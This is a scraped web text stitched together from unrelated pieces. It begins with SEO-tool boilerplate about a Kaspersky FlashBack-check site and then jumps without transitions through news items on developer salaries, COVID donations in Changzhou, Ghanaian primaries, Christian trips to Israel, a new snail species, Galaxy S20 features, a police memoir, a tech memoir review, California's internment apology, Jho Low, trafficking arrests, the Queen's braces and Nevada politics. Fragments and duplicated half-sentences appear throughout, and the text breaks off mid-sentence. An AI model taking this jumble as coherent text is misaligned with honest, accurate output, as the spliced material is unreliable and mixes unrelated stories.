flashbackcheck homepage on StumbleUpon. This is the sum of two values: the total number of people who shared the flashbackcheck homepage on Twitter + the total number of flashbackcheck followers (if flashbackcheck has a Twitter account). The total number of people who shared the flashbackcheck homepage on Delicious. Basic Information PAGE TITLE FlashBack check site by Kaspersky Lab DESCRIPTION Check your Mac for vulnerability to FlashBack KEYWORDS protection, viruses, kaspersky lab, antivirus, soft OTHER KEYWORDS CoolSocial advanced keyword analysis tool is able to detect and analyze every keyword on each page of a site. The URL (Uniform Resource Locator) is the address of the site. The title found in the head section of the homepage. The keywords meta-tag found in the head section of the homepage. The description meta-tag found in the head section of the homepage. Domain and Server DOCTYPE HTML 5.0 CHARSET AND LANGUAGE English ISO-8859-1English DETECTED LANGUAGE English English SERVER nginx OPERATIVE SYSTEM The language of flashbackcheck.com as detected by CoolSocial algorithms. Represents HTML declared type (e.g.: XHTML 1.1, HTML 4.0, the new HTML 5.0) Character set and language of the site. Operative System running on the server. Type of server and offered services. Site Traffic trend during the last year. Only available for sites ranked <= 100000 in the world. Referring domains for flashbackcheck.com by MajesticSeo. High values are a sign of site importance over the web and on web engines. Facebook link FACEBOOK PAGE LINK NOT FOUND Facebook Timeline is the new layout of Facebook pages. A Facebook page link can be found in the homepage or in the robots.txt file. The URL of the found Facebook page. The total number of people who tagged or talked about website Facebook page in the last 7-10 days. The type of Facebook page. The description of the Facebook page describes website and its services to the social media users. The total number of people who like website Facebook page. Twitter account link TWITTER PAGE LINK NOT FOUND Software developers in the US make almost three times more than their Indian counterparts, notes a 2020 HackerRank Developer Skills Report. According to the report, which is based on response from 116,648 developers and students, the average salary for Indian developers is $38,229 per year. In comparison, the developers in the US earn $109,167 per year, with developers in cities like San Francisco and Seattle earning considerably more than developers in other US cities. Interestingly, the survey finds that even the developers in Pakistan with their average annual salary of $39,154 earn marginally more than what Indian professionals get. Globally, a developer makes $54,491 on average, with developers in countries like the US, Australia, Canada and Netherlands making significantly more money than the developers in Asian countries. Now, compared to the global average and salaries in the US, the salaries of Indian developers may seem low but they are actually, when seen in Indian context, quite good. The average salary of $38,229 translates to a little over Rs 27 lakh. Another key bit to note here is that the people part of HackerRank survey were likely to be industry veterans and experienced developers. At entry level the salaries are expected to be lower. What else does the HackerRank Developer Skills Report say? A lot. It also talks of what skills are in demand and what skills affect the pay scale for developers. Perl is the programming language which is mostly associated with above average pay, according to the report. Perl developers make 54 per cent more salary than an average developer's salary. The report also highlights a few other interesting bits. For example, it reveals that developers can still make a good living even if they are not graduates. Educational qualification does not seem to be priority for many companies when it comes to hiring developers. While tech bigwigs like Google, Apple, and IBM do not give importance to 4-year degree requirements anymore, the small companies have not set criteria for degrees at all. The report says that 32 per cent of developers at small companies do not have a bachelor's degree. For every employee with a big pay checks, there are also employees who feel they are underpaid. The report states that 39 per cent of the developers around the world feel they are not paid fairly, 35 per cent feel they are paid fairly and 26 per cent are not sure. Developers get a hint of what their peers earn through websites like LinkedIn and Glassdoor. The report also states that the most important form of professional growth for developers could be learning new technical skills. Around 59 per cent of the employees expressed their want to learn new technical skills. The report reconfirms the notion that developers like stick to technical work. Product focus, as they call it. Most of them want to be tech leads (62 per cent) and only a limited number of developers wanted to be managers (15 per cent). Do developers need recreational activities? Of course, they do, except 3 per cent who never want to take a break and who want to work all the time. Otherwise, 61 per cent developers listen to music when they do not code, the report notes. During a 2016 Tribune interview, Weger said he would rather die in prison than admit to something he said he did not do. Behind bars, he obtained his GED and has been described as an average inmate who did not cause trouble. To keep his mind occupied all these years, Weger has said he studied the Bible, played cards, read books about science and history, watched a little television and kept in touch with family and pen pals through letters and phone calls. CHANGZHOU, China, Feb. 21, 2020 /PRNewswire/ -- A growing number of the foreign-funded firms located in Changzhou National Hi-Tech District have joined in the efforts to control and prevent the further spread of the novel coronavirus (COVID-19). ThyssenKrupp Steering System (Changzhou) CEO Sebastien Baran said: "It never once crossed my mind to return to Europe during this period, and I fully believe that the Chinese government and people can win the battle against the scourge." Foreign companies make donations Many foreign companies in Changzhou National Hi-Tech District have already made donations. In addition to cash, some of the firms have provided medical supplies including specialized equipment and instruments in short supply in the affected areas. ThyssenKrupp's operating subsidiaries in China have jointly donated 2 million yuan (approx. US$285,000 ) to the China Charity Federation to support epidemic control. have jointly donated (approx. ) to the China Charity Federation to support epidemic control. Mettler-Toledo ( Changzhou ) Measurement Technology has assembled 500,000-yuan (approx. US$71,000 ) worth of its biological and virus detection products for donation to organizations badly in need of supplies. ) Measurement Technology has assembled (approx. ) worth of its biological and virus detection products for donation to organizations badly in need of supplies. Deeson ( Changzhou ) Vehicle Technology provided over 20 recreational vehicles for the free use of medics and workers on the front lines. ) Vehicle Technology provided over 20 recreational vehicles for the free use of medics and workers on the front lines. The wholly owned subsidiary of SC Johnson & Son, Inc. in Changzhou City supplied 500,000 yuan worth of disinfection products and another 500,000 yuan in cash to the city of Wuhan for the purchase of protective clothing, masks, goggles and other medical protective equipment. City supplied worth of disinfection products and another in cash to the city of for the purchase of protective clothing, masks, goggles and other medical protective equipment. LEDVANCE Lighting Technology ( Shenzhen ) furnished some 5,000 sets of UV bactericidal lamps to designated hospitals. ) furnished some 5,000 sets of UV bactericidal lamps to designated hospitals. Hyundai ( Jiangsu ) Construction Machinery donated epidemic prevention materials to the Red Cross Society of Xinbei District, Changzhou City. The materials, valued at 677,262 yuan ( $US 96,429 at today's exchange rates), were purchased from South Korea with the help of its controlling shareholder Hyundai Engineering & Construction. Foreign companies remain committed in their belief in China's huge growth potential Changzhou National Hi-Tech District, a key destination for foreign capital in the Yangtze River Delta, has attracted the presence of some 1,800 foreign companies, including more than 30 of the world's top 500 firms. In 2019, the district's GDP rose to 156.3 billion yuan (approx. US$22.3 billion), up 7.5 per cent from 2018, with US$1.32 billion in committed and US$762 million in paid-in foreign capital. Since the outbreak of the coronavirus, many foreign-funded firms with deep roots in China going back many years have shown their willingness to work together with the China government and people to overcome the current difficulties. A number of foreign companies in the district said the impact of the epidemic on the Chinese economy is transient and controllable. They fully believe that, after the outbreak, China's economy and society will bounce back and continue to flourish. Despite the virus's impact on the export supply chain as well as the manufacturing, marketing and shipment of goods, the Chinese market still has huge room for growth in the long term. The size, potential, scope and vitality of the Chinese market remain with their bright prospects for the future intact. ThyssenKrupp Steering System (Changzhou) CEO Sebastien Baran said "As China is the world's largest auto market, the epidemic may have certain adverse effects. However, I believe in China's great potential and look forward to deepening our business cooperation with partners in China's auto parts sector." According to the Advocate, a paper trail in the Louisiana court system tells the story of their years together. Beginning their wedding night, Sean Grebinger allegedly beat his wife, who was 16 at the time. She also alleged that he had sexually assaulted her, beat her in front of friends when she was pregnant, and stabbed her in the nose with a knife. Three persons are trying to unseat Charles Binipom Bintim, the incumbent Member of Parliament for the Saboba constituency in the Northern Region in the upcoming New Patriotic Party parliamentary primaries. NPP will hold its parliamentary primaries on April 25, 2020. Among the three aspirants seeking to unseat the incumbent MP is Jawol Binampadam Abraham, the current Managing Director at Ghana Supply Company. Mr. Jawol had contested the constituency primaries on three consecutive times losing to the incumbent. He is hoping to snatch the seat this time around. Emmanuel Mawanye Kotin, a Security Analyst who is also the Founder and Executive Director of the African Centre for Security and Counter-Terrorism, who came to the limelight around 2008 to contest the incumbent is back in the race, eager to floor Charles Bintin. Mr. Kotin's come back is not surprising to most constituents as it was much anticipated. Also in the race is a 36-year-old teacher, Banabas Kayil, who is making his first appearance. He believes that a new leader will certainly emerge. The Saboba constituency since 1992 has been noted as an NDC stronghold following the pattern of elections. It has seen three candidates from the National Democratic Congress sweeping the votes to occupy the parliamentary seat. Moses M. Bukari was the first NDC candidate to have become MP for the constituency from January 1993 to January 1997. He handed the bottom to Najon Bilijo who stood for a term as Charles Bintin of the New Patriotic Party defeated NDC's Bilijo to occupy the seat in 2004. Charles Bintin could not maintain the seat and slip power to Bukari Nikpe Joseph of the NDC in 2008. He polled 10,331 votes to beat Charles Bintin of the NPP who had 8,944 votes. Nikpe retained the seat in the 2012 election winning by a slim margin to get a second term. The NPP's tenacious Charles Bintin made a strong come back in 2016 and emerged victorious in a keen contest. As Ghana prepares for its Presidential and Parliamentary elections on December 7, 2020, the various political parties are seeking to win majority seats in Parliament. The Saboba constituency will be an interesting area to watch out for. But for now the hurdle for the NPP is to elect a candidate who is capable of retaining the seat for the party. citinewsroom JERUSALEM (JTA)-As evening descended on Jerusalem one Friday last month, 1,000 students gathered at the Western Wall for the traditional prayers to welcome the Jewish Sabbath. They joined the throngs who dance and sing at the holiest site in Judaism as Shabbat begins. When it was over, they repaired to the homes of local families for a traditional Shabbat meal with all the customary trappings. For many, it was a highlight of a trip to Israel that had cost them almost nothing. Except these were not Jewish students on Birthright, but Christian collegians participating in Passages, a nine-day trip that teaches them about the roots of their faith and exposes them to modern Israel. The brainchild of Rivka Kidron, a former adviser to Prime Minister Benjamin Netanyahu, and Robert Nicholson, who runs a nonprofit promoting Christian engagement in the Middle East, Passages aims to strengthen Christians in their own faith while exposing a younger generation of Christians to the diversity of Israeli life. As many as 3,000 students a year have visited Israel through the program since its launch in 2016. Passages is on track to bring its 10,000th participant by the end of this year. "We are at a unique moment in history where instead of focusing on what separates us, we can focus on our common shared values," Kidron told the Jewish Telegraphic Agency. The trip is frequently referred to as the Christian Birthright, but Kidron says the programs are different. While any Jewish young person can qualify to participate in Birthright, Passages participants must be recommended and go through a rigorous screening process that aims to identify leadership potential. Still, they do have some things in common, notably that Passages functions as a matchmaker of sorts, already racking up a number of engagements and marriages. Kidron started thinking about bringing young Christians to Israel while working for Netanyahu as his adviser on Diaspora and Christian affairs from 2009 to 2013. Meeting Christian leaders from around the world for the first time, Kidron learned that Christian visitors to Israel were generally older and limited their visits to Christian holy sites, largely missing out on modern Israel. Young Christians, she said, weren't coming at all. Then she met Nicholson, a former U.S. Marine who founded The Philos Project, which aims to help Christians gain a better understanding of their religious roots in the Middle East. Nicholson was concerned by surveys showing that young Christians were moving away from their faith. Together they dreamed up Passages. Funded by a "diverse group" of Jewish and Christian donors (Kidron declined to name them at their request), Passages is unabashedly pro-Israel, calling the country "a force for good in the region and in the world" on its website. But the program also seeks to acknowledge the complexity of contemporary Israel, exposing participants to "a diverse array of speakers who approach modern geopolitical issues in Israel and the Middle East from a variety of perspectives." Participants travel the length of the country and see its most important historic sites, including Bethlehem and the West Bank settlement of Alfei Menashe, as well as Jerusalem and Tel Aviv. They meet Christian Palestinians, Israeli Arabs, Jewish scholars and Israeli politicians, among others. "We believe Passages participants are smart, good and have the ability to identify truth, and we therefore consider this an educational journey to both connect participants with the roots of their Christian faith as well as introduce them to modern Israel," the group's website says. The program is selective about who it accepts. Passages relies on campus Christian organizations to help identify student leaders who are serious about their religion. Once accepted to the program, participants are required to pay several hundred dollars as a registration free and cover their own travel costs to the cities from which they will depart for Israel. Beyond that the trip is free. Identifying participants, bringing them to Israel and following up with them afterward is an expensive proposition. Passages spent $15 million in 2019, and its budget for 2020 is $16.7 million, according to Executive Director Scott Phillips. Phillips stresses that Passages is a "not just a trip." Participants are expected to participate in post-trip programming that includes speaking to churches and writing articles for local newspapers, and Passages has recently begun offering a $200 financial incentive to encourage them to do so. Some 90 percent of alumni participate in post-trip programming, and some also return as Passages fellows to help lead future trips to Israel. Prior to joining Passages, Phillips, 36, was on staff at a Texas church that brought groups to Israel. He became so interested in the country that he and his wife came to live in Israel for a time. Upon their return to Texas, Phillips became involved with the American Israel Public Affairs Committee, and eventually went to work for the Israel lobby doing Christian outreach in the Midwest. Since leaving AIPAC for Passages, he and his wife have remained in Aurora, Illinois. The group would like to hold regular reunions for its participants. For now, they have mini meetups such as leadership conferences on some campuses for between 100 and 300 students. Phillips says the success of the Passages program is a "long game." Growing the number of students it brings to Israel is one goal, but the final measure of success will be keeping them engaged in the Christian community and in Israel advocacy. "This trip has placed Israel and the Jewish people at the center of my mind when I consider my Christian faith," wrote Esther Jiang of Cornell University in one of a number of testimonies on the Passages website. "I am so incredibly thankful to have gone to Israel, and I can safely say that I'll never be the same. I find myself talking about Israel to anyone who is willing to listen, and I also find that I have a stronger grasp of how the Jewish people are central to my faith." Scientists have discovered a new species of land snail, and have named it Craspedotropis gretathunbergae in honour of the Swedish activist Greta Thunberg for her efforts to raise awareness about climate change. According to the study, published in the Biodiversity Data Journal, the newly discovered species belongs to the so-called caenogastropods -- a group of land snails known to be sensitive to drought, temperature extremes, and forest degradation. The scientists, including evolutionary ecologist Menno Schilthuizen from Naturalis Biodiversity Center in the Netherlands, said the snails were found very close to the research field station at Kuala Belalong Field Studies Centre in Brunei. They added that the snails were discovered at the foot of a steep hill-slope, next to a river bank, foraging at night on the green leaves of understorey plants. The effort aided by amateur scientist J.P. Lim, who found the first individual of the snail said, Naming this snail after Greta Thunberg is our way of acknowledging that her generation will be responsible for fixing problems that they did not create. And its a promise that people from all generations will join her to help, Lim said. The researchers said they approached Thunberg who said that she would be delighted to have this species named after her. The study work including, fieldwork, morphological study, and classification of identified specimen was carried out in a field centre with basic equipment and no internet access, the scientists said. According to the study, the work was done by untrained citizen scientists guided by experts, on a 10-day taxon expedition. While we are aware that this way of working has its limitations in terms of the quality of the output (for example, we were unable to perform dissections or to do extensive literature searches), the benefits include rapid species discovery and on-site processing of materials, the researchers wrote in the study. SHARE THIS ARTICLE ON Update 2/21: The Galaxy S20 is now available for preorder. Check out the best deals here. Samsungs new series of S20 phones go up for preorder this week, and if you plan on buying one, you already know all about the giant screens, eye-popping cameras, and gorgeous design. But with preorders set to begin tomorrow, there are a few features deep down on the list that you might not have noticed: The S20 doesnt support mmWave 5G yet Samsung is touting all of its S20 phones as 5G capable, and thats true, with one exception. The smallest model only supports the sub-6GHz spectrum while the S20+ and S20 Ultra can switch between sub-6GHz and mmWave. That might not be an issue for T-Mobile subscribers, but Verizon buyers will basically have a 4G phone, as the carrier hasnt yet switched on its sub-6 GHz network. Verizon says a mmWave version of the S20 will be launching in the second quarter, but we dont know whether it will carry a higher price tag. You can lock RAM to a game or app All of the S20 models have at least 12GB of RAM, which is more then most people will ever actually need on their Chromebook, let alone their phone. In fact, theres so much memory in the S20, Samsung is letting users lock apps and games into the RAM. That means that when you stop using an app thats RAM locked, itll stay in the phones memory, so you wont need to wait for a lengthy load the next time it launches. Christopher Hebert/iDG The S20s awesome zoom lenses are less awesome when recording video. You cant zoom videos to 100X Samsung is so proud of its 100X Space Zoom lens on the S20 Ultra, its plastered it right on the rear camera array. However, if youre hoping to take Cloverfield-style videos from super far away, however, you might be disappointed. Samsung says you can only zoom up to 20X on the Ultra and 13X on the S20 and S20+. They have pretty awesome music sharing Sharing and streaming music over Bluetooth is hardly a revolutionary feature, but the S20 puts a whole new spin on it. Heres how it works. Lets say youre on a road trip and your buddy wants to play a song through your cars stereo. Normally, youd need to unpair your phone and pair his, but if you have an S20, its way simpler than that. With your S20 acting as a hub, your friend will be able to connect to your cars stereo through your S20, provided they also have a Galaxy phone. Your phone will show up in their Bluetooth preferences and the Galaxy S20 will broadcast it to the car. Pretty ingenious. You can make Duo video calls in Full HD Samsung has teamed up with Google to build Duo video calls directly into the phone app, a bit of Pixel-level ingenuity right on your Galaxy S20. But thats not all. Video chats made on the S20 will be streamed in full 1080p HD at long last. Just remember to make yourself presentable. Christopher Hebert/iDG the front cameras on the S20 are able to broadcast Full HD video calls in Google Duo. You can easily take nighttime hyperlapse photos Youve long been able to create hyperlapse photos using the Camera app on your Galaxy phonethose videos that look like theyre in fast-forwardbut its never worked all that well in low-light conditions. Thats where Night Hyperlapse comes in. The S20s new mode lets you shoot video with long exposure-style captures at night so your video gets those cool light trails. Dual Aperture is gone Introduced as a category-defining feature on the Galaxy Note 9 and featured on the S10, Samsungs Dual Aperture, which let you manually choose between f-stop modes f/1.5 and f/2.5, is gone. But I doubt anyone will notice. You can add Spotify playlists to your Bixby Routines If youve always thought your day could use a little more cowbell, the S20 will be the phone of your dreams. Thanks to a new integration with Spotify, youll be able to pick a playlist as part of your Bixby Routines, so you can make sure the perfect song plays every time. Christopher Hebert/iDG If youre using the S20s camera to take 8K videos, youd better have a lot of space. Every minute of 8K video takes up 600MB of space One of the premier features of the Galaxy S20 is the ability to record 8K video, but before you go shooting Hollywood-style films, you should know that they will eat up a lot of space. At 600MB per minute, youll be about to record about an hour before you fill up your 128GB S20. So if you plan on taking a bunch of 8K vids for your YouTube channel, you might want to invest in a spacious microSD card. You can grab high-res stills from 8K videos Its cool enough that you can shoot in glorious 8K on the S20, but if you find that perfect frame in your footage, you can also grab a 33MP still. Thats much higher resolution than the still you can grab from 4K videos and should look just as good as the ones you take organically. You can easily share files with friends There are numerous ways to share files and photos on our phones, but the S20 takes it to new levels of easy. Much like Apples AirDrop, youll be able to see which of your Galaxy S20-using friends are nearby and instantly beam files to them without using an app or worrying about pairing. Samsung says it will be coming to older devices, too, so your non-S20-using friends wont be left out. New Delhi, Feb 21 : The Mumbai police had detailed intelligence on a plot to kill music baron Gulshan Kumar, down to the name of the underworld don whose gang had been assigned the task, and did all it could to protect him but the appearance of the UP Police upset the equation, former Maharashtra DGP Rakesh Maria writes in his memoirs. It began with a telephone call in the early hours of April 22, 1997. "Sir, Gulshan Kumar ka wicket girne wala hai (Sir, Gulshan Kumar is about to be assassinated)," the voice on the other end said. Who is the wicket taker, Maria asked. "Abu Salem, saab. Usne apne shooters ke saath sab plan nakki kiya hai. Gulshan Kumar roz subah gharse nikalke pehle ek Shiv mandir jata hai. Wahin pe kaam khatam karne wale hain. (Abu Salem is the one planning to kill Gulshan Kumar. He has finalised the plan with his shooters. The first thing that Gulshan Kumasr does in the morning after leaving home each day is to go to a nearby Shiv temple. That is where they ar going to bump him off)," the informant replied. At daybreak, Maria writes in "Let Me Say It Now", he called film producer-director Mahesh Bhatt and asked him whether he knew Gulshan Kumar and whether he was aware that he visited a Shiv temple every morning. Maria also told Bhatt the reason he was asking. Bhatt called back after a while to confirm the information. "Then I told Bhatt I would be briefing the Crime Branch and he must tell Gulshan Kumar not to stir out of the house till the Crime Branch had got in touch with him and made arrangements for his safety," Maria, at the time Assistant Inspector General (Law and Order, and Crime) as a Staff Officer to the DGP, Arvind Inamdar, writes. "I then called up the Crime Branch and gave them the details furnished by my informant. The Crime Branch then extended the requisite protection to Gulshan Kumar. "Therefore, it came as a big shock to me when on 12 August 1997, I received a call that conveyed the news of Gulshan Kumar's murder, in the manner that it had been described," Maria writes. It transpired that a contingent of the UP Police had begun providing security to Gulshan Kumar as he had a cassette factory in Noida. The protection provided by the Mumbai police was, therefore, withdrawn. "Somewhere down the line, routine and apathy could have set in, as it often happens in prolonged watch and ward duties," Maria writes. He also passed on information to the Crime Branch in late 1966 of a plan to kill trade union leader Datta Samat, who hit the headlines in the 1980s when he led a bruising strike that led to the closure of some 80 mills and rendered nearly 250,000 workers jobless in what was then India's textile hub. On January 16, 1997, Maria received news that Datta Samat had been shot dead. He also got a call from R.S. Sharma, the Joint (CP) Crime, to get in touch with the investigating team "to see if I could throw more light on the matter and assist them in the investigation". Maria doesn't say whether or not he did, but he does write: "My junior officers...used to joke that I was a foreteller of doom!" Down For the Cause, DFTC, was the catch cry of her company's chief executive. Wiener wore company hoodies, listened to EDM at her desk and learned how to ride a RipStik. Phrases such as "blitz scaling" rolled off her tongue. There were team-building pub crawls, retreats and trips. "We were the company and the company was us," she writes. In Uncanny Valley, Wiener captures a sense of endless optimism. A sense of speed. A sense of a future. Wiener joked about an app that would suggest cocktails based on books that you were reading the next day a colleague had built it. The anecdote embodies the feeling that anything was possible. Her salary felt like an affirmation that what she was doing was important, valuable work. No one in publishing, she notes, was ever excited about what might come next. In tech startup land, what might come next was everything. "I think it's incredibly intoxicating," says Wiener, who moved from the data analytics company to an open source software platform before she left the industry in 2018. 'We were the company and the company was us.' Anna Wiener "There's just this feeling of endless futures and endless possibility, especially at the time that I joined the industry, which was in my mid-20s right after the recession. It felt unusual and I felt very lucky to be in that world." The memoir's title is a reference to a phrase coined by Japanese robotics professor Masahiro Mori. Mori developed a chart that postulated that when robots approached a point when they were almost yet not quite identical to humans they would provoke in us a sense of disturbance and unease. The presence of the uncanny valley, the feeling of things being not quite right, flows through Wiener's memoir. As readers who live in a post-NSA surveillance leak, post-Cambridge Analytica, post-Theranos world, we see the signposts for the cliffs ahead. But at the time, Wiener says, tech startups and their funding models were largely viewed as a "wacky, irreverent, new way of doing business". Loading "It was viewed as innovative and fun and different. Of course, it had its critics, but I think that the popular narratives were certainly not taking the industry seriously as a political force or as a centre for power and wealth or influence." At Wiener's company, huge amounts of intimate user data were easily accessible, so much so the employees called it being in "God Mode". They never discussed the ethics of it, in fact, they didn't discuss their access at all. The conversation never moved to the subject, even when Edward Snowden revealed the National Security Agency's extensive surveillance campaign that used internet communications from major technology companies. "We didn't think of ourselves as participating in the surveillance economy," Wiener writes. "We certainly weren't thinking about our role in facilitating and normalising the creation of [an] unregulated, privately held database on human behaviour." For all the company team-building activities, the tech startup world is dominated by men and fragile male egos, and Wiener recounts experiences of sexism, misogyny and objectification. She found it more effective to use a male pseudonym when dealing with customers. There is also little racial or cultural diversity. In telling a story about Silicon Valley, Wiener also tells a story about San Francisco. Extreme wealth and destitution sit side by side as the city historically associated with artists, queers and bohemians becomes linked to affluence, ambition and capitalism. Sure, there was gold to be found in Silicon Valley, but Wiener found gilt (and guilt) rubbing off on her hands. What exactly was the cause for which she was meant to be down? "I certainly wanted to be on the inside. I think that I did feel like an insider in many ways at many points. And then I think, as I grew disillusioned, I began to find myself much more comfortable on the periphery rather than at the centre. It's very hard in this world to be an insider and also to be critical of what you're participating in, and so as I started to grow more critical there wasn't really a space for that," she says. Although she offers a meticulous account of everyday life working at a start-up, Wiener says she didn't take notes at the time and never saw her employment as part of a journalistic project. She quit working in 2018 to write full time, and is now navigating her position on the periphery of the industry as a tech reporter. "It was very strange when I first left the industry. I felt very ambivalent about that decision and I felt like I had left the power centre. You know what I mean? I'd handed in my badge and I was on the outside of the castle or something. I had gotten used to that. And I do feel that I'm happier in my day-to-day life not being in the industry, but certainly, I mean, you feel it here very sharply that this is a very powerful, influential industry in San Francisco. And so it's a shift," Wiener says. I'd handed in my badge and I was on the outside of the castle or something. The experience has given Wiener a more thorough understanding of company business models. She uses technology as much as she ever did, but believes that a healthy scepticism is always needed (she still covers her webcam to be safe). Startup and tech culture has been increasingly under the spotlight, particularly when it comes to data protection and consumer safety, and Wiener says she tries to remain optimistic about positive shifts in the industry. "I think there's certainly more criticism. There's more rigorous reporting being done on the tech industry. I think there's a greater understanding or at least a surface understanding about data collection and privacy. These are conversations that people are having more and more frequently," Wiener says. Seventy-eight years ago on February 19, 1942, President Franklin Roosevelt issued Executive Order 9066 authorizing the relocation and internment of Japanese Americans just months after the attack on Pearl Harbor. About 120,000 men, women, and children were moved to 10 camps across the western U.S., including two in California. Now, in a unanimous vote, the California Assembly has issued a formal apology for its role in actively rounding up and sending its residents to internment camps during World War II. Their apology is not the first, however. Nearly three decades prior, in the 1988 Civil Liberties Act, President Ronald Reagan formally apologized to Japanese American survivors on behalf of the Nation. The act provided $20,000 to survivors and acknowledged that the internment was motivated by racial prejudice, wartime hysteria, and a failure of political leadership. Al Muratsuchi, the Assembly member who introduced the 2020 resolution, believes that the state of California owes those citizens a separate apology. Unfortunately, during the years leading up to World War II, California was at the forefront and led the nation in so many ways in fanning the flames of racism and immigrant scapegoating against Japanese Americans, Muratsuchi tells NPR. Calling the internment a stain on our history, California Governor Gavin Newsom has declared February 19 a day of remembrance in the state. The resolution, formally issued on Thursday, recognized that EO9066 inflicted upon more than 120,000 Americans and residents of Japanese ancestry a great human cost of abandoned homes, businesses, farms, careers, professional advancements, disruption to family life, and public humiliation. Unlike the Civil Liberties Act, the current resolution does not include any compensation the Associated Press reports, but apologizes to all Americans of Japanese ancestry for its past actions in support of the unjust exclusion, removal, and incarceration of Japanese Americans during World War II, and for its failure to support and defend the civil rights and civil liberties of Japanese Americans during this period. Les Ouchida, whose family was held in an internment camp during the war, told the Associated Press that he holds no animosity to the U.S. or California government. Even if it took time, we have the goodness to still apologize, he said. Swizz Beatz, Alicia Keys and Jho Low (right) at the 56th Annual Grammy Awards in 2014. Malaysian police revealed this week that Jho Low, the fugitive businessman at the center of the 1MDB scandal, could be hiding in the Chinese city of Wuhan, the epicenter of the coronavirous outbreak. Those comments kicked off a social media firestorm, with reactions ranging from amusement to skepticism. Low was the alleged mastermind behind the missing funds from Malaysia's state investment firm 1MDB a charge that he repeatedly denied. His whereabouts were not known, but speculations had been pointing to China. This week, Malaysia's Inspector-General of Police Abdul Hamid Bador said authorities previously received intelligence that Low was in the Chinese city of Wuhan, according to local media reports. He added that there's no new information on whether Low had left China. A new coronavirus called COVID-19, which is spreading quickly around the world, is believed to have originated from Wuhan, the capital of Hubei province. Hubei is also where most of the COVID-19 cases have been, with more than 62,000 infected persons so far. Social media users weighed in on Abdul Hamid's comments. "Jho Low and Covid-19! Not sure which one is more dangerous for Wuhan!" said a Twitter user with the handle @JayMenonP. @JayMenonP's Twitter post Another Twitter user, whose handle is @leonhartxtreme said: "Jho Low spread the virus to hide in the place no one dare to enter. Maybe his next destination is Chernobyl." @leonhartxtreme's Twitter's post The user was referring to the location of the 1986 nuclear disaster, in what was at that time the Soviet Union and is now Ukraine. During that incident, considered by some as the worst nuclear accident in history, a reactor at Chernobyl Nuclear Power Plant exploded and burned, making the areas inhabitable. Some social media users, however, were skeptical that Low might have been in Wuhan. "Should we believe this garbage?" asked @ariffnordin81. @ariffnordin81's Twitter post The 1MDB scandal was investigated in at least six other countries including the U.S., Switzerland and Singapore. It played a part in bringing down former Malaysian Prime Minister Najib Razak. The Bexar County Sheriff's Office in a news conference Friday warned parents of an uptick of prostitution and sex trafficking cases, adding that it offers public classes to educate the community and children about the disturbing trend. Sheriff Javier Salazar said deputies have been "very busy" lately with prostitution and sex trafficking cases involving young victims. Salazar highlighted two cases during the news conference. On Friday, 19-year-old Andrew Cummings was arrested and charged with soliciting a 12-year-old via the social media app Snapchat, court records show. FIND OUT FIRST: Get San Antonio breaking news directly to your inbox In another case, a 16-year-old reported to authorities on Tuesday that she was sexually assaulted by two males she met on Instagram, Salazar said. Jamarterious Kyiez Lawrence, 20, and Xavier Marquest Green, 19, were arrested and charged with sexual assault with a child and promotion of prostitution on Thursday. "I believe that the reason we are seeing an uptick in these cases may not necessarily be a bad thing," Salazar said. "We are doing a lot at the sheriff's office. We are teaching these lures and lies, these human trafficking courses that we do and, quite frankly, we are raising awareness. The common thread about these cases was that there was an early outcry." If interested in hosting one the free classes for your home owner's association, church or business, call (210) 335-6070 or email BCSOTips@bexar.org or StopHumanTrafficking@bexar.org. Priscilla Aguirre is a breaking news reporter and general assignment writer. Read her on our breaking news site, mySA.com, and on our subscriber site, ExpressNews.com | priscilla.aguirre@express-news.net | @CillaAguirre The Queen revealed she wore braces as a child, during a recent visit to the Royal National ENT and Eastman Dental Hospital this week. The monarch, 93, hinted that it wasn't a pleasant experience, but reassured a young patient that it was 'worth it in the end'. Meeting children as she opened the new premises of the Royal National ENT and Eastman Dental Hospital this week, she comforted a 10-year-old boy being fitted for braces. The royal told the youngster: 'I had wires, luckily it was a very long time ago. Referring back to her own experience, the Queen added: 'I think it's worth it, in the end'. The Queen revealed she wore braces as a child, during a recent visit to the Royal National ENT and Eastman Dental Hospital this week Prince Harry was previously pictured wearing braces in 1999, while Princesses Eugenie and Beatrice also wore them as teenagers, and Prince William has been seen wearing a metal retainer behind his bottom teeth. The Queen's revelation came as she arrived in London to open the new dental hospital. The major new medical facility will house two specialist hospitals under one roof, which will treat conditions relating to the head and neck. Part of the UCLH (University College London Hospitals NHS Foundation Trust), the units will treat complex conditions relating to the ears, nose, throat and dental conditions. A video shared by the Royal Family account shows the Queen telling the young patients that their homemade crowns are 'very good'. The monarch, seen on her tenth birthday, 93, hinted that having braces wasn't a pleasant experience, but reassured a young patient that it was 'worth it in the end' The monarch, 93, who has eight great-grandchildren, stopped to speak to the youngsters while touring the Royal National ENT and Eastman Dental Hospital. Part of the UCLH (University College London Hospitals NHS Foundation Trust), the units will treat complex conditions relating to the ears, nose, throat and dental conditions. During her visit the Queen met staff and patients at the hospital, and visited children taking part in creative play sessions on the paediatric floor. The monarch, 93, cut a vibrant figure in a purple hat embellished with two bobbles, and a matching wool coat as she arrived this week RENO, Nev. - Twenty years ago, long before Nevada was part of the early presidential selection process, the phone typically rang unanswered at Washoe County Democratic Party headquarters in Reno during mid-term elections. We had a small conference room and a tiny reception area, but no staff at all, recalls Chris Wicker, who started a seven-year run as county party chairman in 2002. There wasnt any state party focus up here except in presidential years. If you talked to people, they would say `I didnt know there was a Democratic Party in Washoe County, he said. In the last decade Nevada has undergone a political transformation from Republican outpost to a contested battleground to emerging Democratic hotbed. All but one member of the states congressional delegation is a Democrat along with all but one of the statewide officer holders. The Democratic swing has been so pronounced that President Donald Trumps campaign views Minnesota a state that hasnt voted for a GOP presidential candidate since 1972 as friendlier territory than Nevada. When Democrats caucus here Saturday to pick their preferred nominee for president, there will be 165,000 more total registered Democrats in Nevada than in 2008, the first time the state held its closely watched contest. Nowhere is the new blue streak clearer than in northern Nevadas Washoe County, a place not long ago considered a GOP stronghold. But as the growing suburbs tucked into the shadow of the Sierra have changed, so has Nevadas political landscape. California transplants have brought their politics with them. A tech boom spurred by companies like Tesla, Apple and Microsoft has drawn the young and college-educated, demographic groups that lean left as do Hispanics who made up 29% of Nevadas population in 2019, according to the U.S. Census Bureau. Now the phone is ringing all the time in county Democratic headquarters in Reno, which is staffed year-round. For decades, the key to Republicans winning a statewide election in Nevada was to sweep the more conservative rural counties and build just enough of a margin in the Reno-Sparks area to offset heavily Democratic Clark County. In 2008, President Obama became the first Democrat since Lyndon Johnson in 1964 to carry Washoe County. Just four years earlier, Vice-President Dick Cheney capped a campaign swing across the country with an appearance at a 